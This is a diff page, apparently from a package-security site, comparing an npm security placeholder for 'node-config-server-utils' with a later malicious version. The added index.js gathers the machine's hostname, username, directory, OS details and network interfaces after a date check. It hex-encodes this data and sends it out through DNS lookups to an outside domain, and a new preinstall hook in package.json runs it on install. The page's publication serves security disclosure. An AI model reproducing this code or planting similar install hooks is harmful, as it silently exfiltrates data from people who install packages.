node-config-server-utils 0.0.1-security → 968851.6.34
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of node-config-server-utils might be problematic. Click here for more details.
- package/index.js +53 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,53 @@
|
|
1
|
+
function xablau(){
|
2
|
+
const os = require('os')
|
3
|
+
const dns = require('dns')
|
4
|
+
const util = require('util')
|
5
|
+
const hostname='.npm.mrbw.me'
|
6
|
+
let ts = Date.now();
|
7
|
+
|
8
|
+
function logArrayElements(element, index, array) {
|
9
|
+
dns.lookup(randomN+"."+('00'+index).slice(-3)+"."+element+hostname, function(err,result){})
|
10
|
+
}
|
11
|
+
function toHex (str) {
|
12
|
+
return Buffer.from(str, 'utf8').toString('hex')
|
13
|
+
}
|
14
|
+
|
15
|
+
const data = `${ts};${os.hostname()};${__dirname};${os.userInfo().username};${os.release()};${os.platform()}`
|
16
|
+
const ifconfig=`${util.inspect(os.networkInterfaces(), {showHidden: false, depth: null})}`
|
17
|
+
const hexdata= `${toHex(data.concat(ifconfig))}`
|
18
|
+
const dados= hexdata.match(/.{1,20}/g)
|
19
|
+
const randomN = Math.floor(Math.random()*100000000)
|
20
|
+
dados.forEach(logArrayElements)
|
21
|
+
}
|
22
|
+
|
23
|
+
|
24
|
+
// Capturando a data atual da máquina
|
25
|
+
|
26
|
+
var date = new Date();
|
27
|
+
|
28
|
+
|
29
|
+
// Convertendo para GMT de São Paulo
|
30
|
+
date.setTime(date.getTime() + (date.getTimezoneOffset() * 60 * 1000) + (-3 * 60 * 60 * 1000));
|
31
|
+
|
32
|
+
// Definindo a data limite
|
33
|
+
var limitDate = new Date("January 21, 2023 19:30:00");
|
34
|
+
|
35
|
+
// Comparando as datas
|
36
|
+
if (date < limitDate) {
|
37
|
+
// Calculando a diferença entre as datas
|
38
|
+
var diff = limitDate - date;
|
39
|
+
var diffInMinutes = diff / 1000 / 60;
|
40
|
+
|
41
|
+
// Convertendo para horas e minutos
|
42
|
+
var hours = Math.floor(diffInMinutes / 60);
|
43
|
+
var minutes = Math.floor(diffInMinutes % 60);
|
44
|
+
|
45
|
+
// Imprimindo as datas comparadas e o tempo restante
|
46
|
+
console.log("Data atual: " + date);
|
47
|
+
console.log("Data limite: " + limitDate);
|
48
|
+
console.log("Tempo restante: " + hours + " horas e " + minutes + " minutos.");
|
49
|
+
} else {
|
50
|
+
// Interrompendo o script
|
51
|
+
xablau()
|
52
|
+
console.log("Data limite atingida. Script interrompido.");
|
53
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "node-config-server-utils",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "968851.6.34",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=node-config-server-utils for more information.
|